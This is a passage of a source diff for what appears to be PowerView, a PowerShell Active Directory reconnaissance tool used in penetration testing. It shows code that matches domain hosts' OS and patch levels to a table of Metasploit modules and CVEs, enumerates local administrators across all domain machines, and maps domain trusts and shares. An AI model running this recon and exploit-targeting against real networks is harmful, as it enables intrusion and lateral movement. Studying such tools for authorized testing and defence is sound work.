hostnames, os, and service packs from LDAP + $TableAdsComputers = New-Object System.Data.DataTable + $Null = $TableAdsComputers.Columns.Add('Hostname') + $Null = $TableAdsComputers.Columns.Add('OperatingSystem') + $Null = $TableAdsComputers.Columns.Add('ServicePack') + $Null = $TableAdsComputers.Columns.Add('LastLogon') - # Step 5: get the shares for this host and display what we find - $shares = Get-NetShare -HostName $HostName - if ($shares -and ($shares.Count -ne 0)){ - "`n[+] Shares on $HostName :" - } - foreach ($share in $shares) { - if ($share -ne $null){ - $netname = $share.shi1_netname - $remark = $share.shi1_remark - $path = '\\'+$HostName+'\'+$netname + Get-NetComputer -FullData @PSBoundParameters | ForEach-Object { - if (($netname) -and ($netname.trim() -ne '')){ + $CurrentHost = $_.dnshostname + $CurrentOs = $_.operatingsystem + $CurrentSp = $_.operatingsystemservicepack + $CurrentLast = $_.lastlogon + $CurrentUac = $_.useraccountcontrol - "[+] $HostName - Share: $netname `t: $remark" - try{ - # check for read access to this share - $f=[IO.Directory]::GetFiles($path) - "[+] $HostName - Read Access - Share: $netname `t: $remark" - } - catch {} - } - } - } + $CurrentUacBin = [convert]::ToString($_.useraccountcontrol,2) - # Step 6: Check if current user has local admin access - $access = Invoke-CheckLocalAdminAccess -Hostname $HostName - if ($access){ - "`n[+] Current user has local admin access to $HostName !" - } + # Check the 2nd to last value to determine if its disabled + $DisableOffset = $CurrentUacBin.Length - 2 + $CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1) - # Step 7: Get all the local groups - $localGroups = Get-NetLocalGroups -Hostname $HostName | Format-List | Out-String - if ($localGroups -and $localGroups.Length -ne 0){ - "`n[+] Local groups for $HostName :" - $localGroups.Trim() - } - else { - "[!] Unable to retrieve localgroups for $HostName" + # Add computer to list if it's enabled + if ($CurrentDisabled -eq 0) { + # Add domain computer to data table + $Null = $TableAdsComputers.Rows.Add($CurrentHost,$CurrentOS,$CurrentSP,$CurrentLast) + } } - # Step 8: Get any local admins - $localAdmins = Get-NetLocalGroup -Hostname $HostName | Format-List | Out-String - if ($localAdmins -and $localAdmins.Length -ne 0){ - "`n[+] Local Administrators for $HostName :" - $localAdmins.Trim() - } - else { - "[!] Unable to retrieve local Administrators for $HostName" - } + # Status user + Write-Verbose "[*] Loading exploit list for critical missing patches..." - # Step 9: Get any local services - $localServices = Get-NetLocalServices -Hostname $HostName | Format-List | Out-String - if ($localServices -and $localServices.Length -ne 0){ - "`n[+] Local services for $HostName :" - $localServices.Trim() - } - else { - "[!] Unable to retrieve local services for $HostName" - } + # ---------------------------------------------------------------- + # Setup data table for list of msf exploits + # ---------------------------------------------------------------- - # Step 10: Enumerate running processes - $processes = Get-NetProcesses -Hostname $HostName - if ($processes){ - "`n[+] Processes for $HostName :" - $processes | Format-Table -AutoSize + # Create data table for list of patches levels with a MSF exploit + $TableExploits = New-Object System.Data.DataTable + $Null = $TableExploits.Columns.Add('OperatingSystem') + $Null = $TableExploits.Columns.Add('ServicePack') + $Null = $TableExploits.Columns.Add('MsfModule') + $Null = $TableExploits.Columns.Add('CVE') + + # Add exploits to data table + $Null = $TableExploits.Rows.Add("Windows 7","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") + $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + + # Status user + Write-Verbose "[*] Checking computers for vulnerable OS and SP levels..." + + # ---------------------------------------------------------------- + # Setup data table to store vulnerable systems + # ---------------------------------------------------------------- + + # Create data table to house vulnerable server list + $TableVulnComputers = New-Object System.Data.DataTable + $Null = $TableVulnComputers.Columns.Add('ComputerName') + $Null = $TableVulnComputers.Columns.Add('OperatingSystem') + $Null = $TableVulnComputers.Columns.Add('ServicePack') + $Null = $TableVulnComputers.Columns.Add('LastLogon') + $Null = $TableVulnComputers.Columns.Add('MsfModule') + $Null = $TableVulnComputers.Columns.Add('CVE') + + # Iterate through each exploit + $TableExploits | ForEach-Object { + + $ExploitOS = $_.OperatingSystem + $ExploitSP = $_.ServicePack + $ExploitMsf = $_.MsfModule + $ExploitCVE = $_.CVE + + # Iterate through each ADS computer + $TableAdsComputers | ForEach-Object { + + $AdsHostname = $_.Hostname + $AdsOS = $_.OperatingSystem + $AdsSP = $_.ServicePack + $AdsLast = $_.LastLogon + + # Add exploitable systems to vul computers data table + if ($AdsOS -like "$ExploitOS*" -and $AdsSP -like "$ExploitSP" ) { + # Add domain computer to data table + $Null = $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,$AdsLast,$ExploitMsf,$ExploitCVE) + } + } + } + + # Display results + $VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object + $VulnComputerCount = $VulnComputer.Count + if ($VulnComputer.Count -gt 0) { + # Return vulnerable server list order with some hack date casting + Write-Verbose "[+] Found $VulnComputerCount potentially vulnerable systems!" + $TableVulnComputers | Sort-Object { $_.lastlogon -as [datetime]} -Descending } else { - "[!] Unable to retrieve processes for $HostName" + Write-Verbose "[-] No vulnerable systems were found." } } -######################################################## -# -# Domain trust functions below. -# -######################################################## - -function Get-NetDomainTrusts { - <# - .SYNOPSIS - Return all domain trusts for the current domain or - a specified domain. - - .PARAMETER Domain - The domain whose trusts to enumerate. If not given, - uses the current domain. - - .EXAMPLE - > Get-NetDomainTrusts - Return domain trusts for the current domain. - - .EXAMPLE - > Get-NetDomainTrusts -Domain "test" - Return domain trusts for the "test" domain. - #> +function Invoke-EnumerateLocalAdmin { +<# + .SYNOPSIS - [CmdletBinding()] - param( - [string] - $Domain - ) + This function queries the domain for all active machines with + Get-NetComputer, then for each server it queries the local + Administrators with Get-NetLocalGroup. - $d = Get-NetDomain -Domain $Domain - if($d){ - $d.GetAllTrustRelationships() - } -} + Author: @harmj0y + License: BSD 3-Clause + .PARAMETER ComputerName -function Get-NetDomainTrustsLDAP { - <# - .SYNOPSIS - Return all domain trusts for the current domain or - a specified domain using LDAP queries. This is potentially - less accurate than the Get-NetDomainTrusts function, but - can be relayed through your current domain controller - in cases where you can't reach a remote domain directly. + Host array to enumerate, passable on the pipeline. - .PARAMETER Domain - The domain whose trusts to enumerate. If not given, - uses the current domain. + .PARAMETER ComputerFile - .EXAMPLE - > Get-NetDomainTrustsLDAP - Return domain trusts for the current domain. + File of hostnames/IPs to search. - .EXAMPLE - > Get-NetDomainTrustsLDAP -Domain "test" - Return domain trusts for the "test" domain. - #> + .PARAMETER ComputerFilter - [CmdletBinding()] - param( - [string] - $Domain - ) + Host filter name to query AD for, wildcards accepted. - $TrustSearcher = $Null + .PARAMETER ComputerADSpath - # if a domain is specified, try to grab that domain - if ($Domain){ + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. - # try to grab the primary DC for the current domain - try{ - $PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name - } - catch{ - $PrimaryDC = $Null - } + .PARAMETER NoPing - try { - # reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx - $dn = "DC=$($Domain.Replace('.', ',DC='))" + Switch. Don't ping each host to ensure it's up before enumerating. - # if we could grab the primary DC for the current domain, use that for the query - if ($PrimaryDC){ - $TrustSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn") - } - else{ - # otherwise default to connecting to the DC for the target domain - $TrustSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn") - } + .PARAMETER Delay - $TrustSearcher.filter = '(&(objectClass=trustedDomain))' - $TrustSearcher.PageSize = 200 - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - $TrustSearcher = $Null - } - } - else{ - $Domain = (Get-NetDomain).Name - $TrustSearcher = [adsisearcher]'(&(objectClass=trustedDomain))' - $TrustSearcher.PageSize = 200 - } + Delay between enumerating hosts, defaults to 0 - if($TrustSearcher){ - $TrustSearcher.FindAll() | ForEach-Object { - $props = $_.Properties - $out = New-Object psobject - Switch ($props.trustattributes) - { - 4 { $attrib = "External"} - 16 { $attrib = "CrossLink"} - 32 { $attrib = "ParentChild"} - 64 { $attrib = "External"} - 68 { $attrib = "ExternalQuarantined"} - Default { $attrib = "unknown trust attribute number: $($props.trustattributes)" } - } - Switch ($props.trustdirection){ - 0 {$direction = "Disabled"} - 1 {$direction = "Inbound"} - 2 {$direction = "Outbound"} - 3 {$direction = "Bidirectional"} - } - $out | Add-Member Noteproperty 'SourceName' $domain - $out | Add-Member Noteproperty 'TargetName' $props.name[0] - $out | Add-Member Noteproperty 'TrustType' "$attrib" - $out | Add-Member Noteproperty 'TrustDirection' "$direction" - $out - } - } -} + .PARAMETER Jitter + Jitter for the host delay, defaults to +/- 0.3 -function Get-NetForestTrusts { - <# - .SYNOPSIS - Return all trusts for the current forest. + .PARAMETER OutFile - .PARAMETER Forest - Return trusts for the specified forest. + Output results to a specified csv output file. - .EXAMPLE - > Get-NetForestTrusts - Return current forest trusts. + .PARAMETER NoClobber - .EXAMPLE - > Get-NetForestTrusts -Forest "test" - Return trusts for the "test" forest. - #> + Switch. Don't overwrite any existing output file. - [CmdletBinding()] - param( - [string] - $Forest - ) + .PARAMETER TrustGroups - $f = (Get-NetForest -Forest $Forest) - if($f){ - $f.GetAllTrustRelationships() - } -} + Switch. Only return results that are not part of the local machine + or the machine's domain. Old Invoke-EnumerateLocalTrustGroup + functionality. + .PARAMETER Domain -function Invoke-FindUserTrustGroups { - <# - .SYNOPSIS - Enumerates users who are in groups outside of their - principal domain. + Domain to query for machines, defaults to the current domain. + + .PARAMETER DomainController - .DESCRIPTION - This function queries the domain for all users objects, - extract the memberof groups for each users, and compares - found memberships to the user's current domain. - Any group memberships outside of the current domain - are output. + Domain controller to reflect LDAP queries through. - .PARAMETER UserName - Username to filter results for, wildcards accepted. + .PARAMETER SearchForest - .PARAMETER Domain - Domain to query for users. + Switch. Search all domains in the forest for target users instead of just + a single domain. - .LINK - http://blog.harmj0y.net/ - #> + .PARAMETER Threads - [CmdletBinding()] - param( - [string] - $UserName, + The maximum concurrent threads to execute. - [string] - $Domain - ) + .EXAMPLE - if ($Domain){ - # get the domain name into distinguished form - $DistinguishedDomainName = "DC=" + $Domain -replace '\.',',DC=' - } - else { - $DistinguishedDomainName = [string] ([adsi]'').distinguishedname - $Domain = $DistinguishedDomainName -replace 'DC=','' -replace ',','.' - } + PS C:\> Invoke-EnumerateLocalAdmin - # query for the primary domain controller so we can extract the domain SID for filtering - $PrimaryDC = (Get-NetDomain -Domain $Domain).PdcRoleOwner - $PrimaryDCSID = (Get-NetComputers -Domain $Domain -Hostname $PrimaryDC -FullData).objectsid - $parts = $PrimaryDCSID.split("-") - $DomainSID = $parts[0..($parts.length -2)] -join "-" + Enumerates the members of local administrators for all machines + in the current domain. - Get-NetUser -Domain $Domain -UserName $UserName | % { - foreach ($membership in $_.memberof) { - $index = $membership.IndexOf("DC=") - if($index) { - - $GroupDomain = $($membership.substring($index)) -replace 'DC=','' -replace ',','.' - - if ($GroupDomain.CompareTo($Domain)) { - - $GroupName = $membership.split(",")[0].split("=")[1] - $out = new-object psobject - $out | add-member Noteproperty 'UserDomain' $Domain - $out | add-member Noteproperty 'UserName' $_.samaccountname - $out | add-member Noteproperty 'GroupDomain' $GroupDomain - $out | add-member Noteproperty 'GroupName' $GroupName - $out | add-member Noteproperty 'GroupDN' $membership - $out - } - } - } - } -} + .EXAMPLE + PS C:\> Invoke-EnumerateLocalAdmin -Threads 10 -function Invoke-FindGroupTrustUsers { - <# - .SYNOPSIS - Enumerates all the members of a given domain's groups - and finds users that are not in the queried domain. + Threaded local admin enumeration, replaces Invoke-EnumerateLocalAdminThreaded - .PARAMETER Domain - Domain to query for groups. + .LINK - .LINK http://blog.harmj0y.net/ - #> +#> [CmdletBinding()] param( - [string] - $Domain - ) - - if(-not $Domain){ - $Domain = (Get-NetDomain).Name - } + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, - $DomainDN = "DC=$($Domain.Replace('.', ',DC='))" - write-verbose "DomainDN: $DomainDN" + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, - # standard group names to ignore - $ExcludeGroups = @("Users", "Domain Users", "Guests") + [String] + $ComputerFilter, - # get all the groupnames for the given domain - $groups = Get-NetGroups -Domain $Domain | Where-Object { -not ($ExcludeGroups -contains $_) } + [String] + $ComputerADSpath, - # filter for foreign SIDs in the cn field for users in another domain, - # or if the DN doesn't end with the proper DN for the queried domain - $groupUsers = $groups | Get-NetGroup -Domain $Domain -FullData | ? { - ($_.distinguishedName -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.distinguishedname.substring($_.distinguishedname.IndexOf("DC=")))) - } + [Switch] + $NoPing, - $groupUsers | % { - if ($_.samAccountName){ - # forest users have the samAccountName set - $userName = $_.sAMAccountName - } - else { - # external trust users have a SID, so convert it - try { - $userName = Convert-SidToName $_.cn - } - catch { - # if there's a problem contacting the domain to resolve the SID - $userName = $_.cn - } - } + [UInt32] + $Delay = 0, - # extract the FQDN from the Distinguished Name - $userDomain = $_.distinguishedName.subString($_.distinguishedName.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + [Double] + $Jitter = .3, - $out = new-object psobject - $out | add-member Noteproperty 'GroupDomain' $Domain - $out | add-member Noteproperty 'GroupName' $_.GroupName - $out | add-member Noteproperty 'UserDomain' $userDomain - $out | add-member Noteproperty 'UserName' $userName - $out | add-member Noteproperty 'UserDN' $_.distinguishedName - $out - } -} + [String] + $OutFile, + [Switch] + $NoClobber, -function Invoke-FindAllUserTrustGroups { - <# - .SYNOPSIS - Try to map all transitive domain trust relationships and - enumerates all users who are in groups outside of their - principal domain. + [Switch] + $TrustGroups, - .DESCRIPTION - This function tries to map all domain trusts, and then - queries the domain for all users objects, extracting the - memberof groups for each users, and compares - found memberships to the user's current domain. - Any group memberships outside of the current domain - are output. + [String] + $Domain, - .PARAMETER UserName - Username to filter results for, wildcards accepted. + [String] + $DomainController, - .LINK - http://blog.harmj0y.net/ - #> + [Switch] + $SearchForest, - [CmdletBinding()] - param( - [string] - $UserName + [ValidateRange(1,100)] + [Int] + $Threads ) - # keep track of domains seen so we don't hit infinite recursion - $seenDomains = @{} + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } - # our domain status tracker - $domains = New-Object System.Collections.Stack + # random object for delay + $RandNo = New-Object System.Random - # get the current domain and push it onto the stack - $currentDomain = (([adsi]'').distinguishedname -replace 'DC=','' -replace ',','.')[0] - $domains.push($currentDomain) + Write-Verbose "[*] Running Invoke-EnumerateLocalAdmin with delay of $Delay" - while($domains.Count -ne 0){ + if(!$ComputerName) { + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } - $d = $domains.Pop() + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + else { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + } + } - # if we haven't seen this domain before - if (-not $seenDomains.ContainsKey($d)) { + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } - Write-Verbose "Enumerating domain $d" + # delete any existing output file if it already exists + if(!$NoClobber) { + if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile } + } - # mark it as seen in our list - $seenDomains.add($d, "") | out-null + if($TrustGroups) { + + Write-Verbose "Determining domain trust groups" - # get the trust groups for this domain - if ($UserName){ - Invoke-FindUserTrustGroups -Domain $d -UserName $UserName + # find all group names that have one or more users in another domain + $TrustGroupNames = Find-ForeignGroup -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.GroupName } | Sort-Object -Unique + $TrustGroupsSIDs = $TrustGroupNames | ForEach-Object { + # ignore the builtin administrators group for a DC (S-1-5-32-544) + # TODO: ignore all default built in sids? + Get-NetGroup -Domain $Domain -DomainController $DomainController -GroupName $_ -FullData | Where-Object { $_.objectsid -notmatch "S-1-5-32-544" } | ForEach-Object { $_.objectsid } } - else{ - Invoke-FindUserTrustGroups -Domain $d + + # query for the primary domain controller so we can extract the domain SID for filtering + $DomainSID = Get-DomainSID -Domain $Domain + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs) + + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName } + if($Up) { + # grab the users for the local admins on this server + $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName - try{ - # get all the trusts for this domain - $trusts = Get-NetDomainTrusts -Domain $d - if ($trusts){ + # if we just want to return cross-trust users + if($DomainSID -and $TrustGroupSIDS) { + # get the local machine SID + $LocalSID = ($LocalAdmins | Where-Object { $_.SID -match '.*-500$' }).SID -replace "-500$" - # enumerate each trust found - foreach ($trust in $trusts){ - $target = $trust.TargetName - # make sure we process the target - $domains.push($target) | out-null + # filter out accounts that begin with the machine SID and domain SID + # but preserve any groups that have users across a trust ($TrustGroupSIDS) + $LocalAdmins = $LocalAdmins | Where-Object { ($TrustGroupsSIDs -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) } + } + + if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) { + # output the results to a csv if specified + if($OutFile) { + $LocalAdmins | Export-PowerViewCSV -OutFile $OutFile + } + else { + # otherwise return the user objects + $LocalAdmins } } - } - catch{ - Write-Warning "[!] Error: $_" + else { + Write-Verbose "[!] No users returned from $Server" + } } } + } -} + process { -function Invoke-FindAllGroupTrustUsers { - <# - .SYNOPSIS - Try to map all transitive domain trust relationships and - enumerate all the members of a given domain's groups - and finds users that are not in the queried domain. + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" - .LINK - http://blog.harmj0y.net/ - #> + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'OutFile' = $OutFile + 'DomainSID' = $DomainSID + 'TrustGroupsSIDs' = $TrustGroupsSIDs + } - [CmdletBinding()] - param() + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock 